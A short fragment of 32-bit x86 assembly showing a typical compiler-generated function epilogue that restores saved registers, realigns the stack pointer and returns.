pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret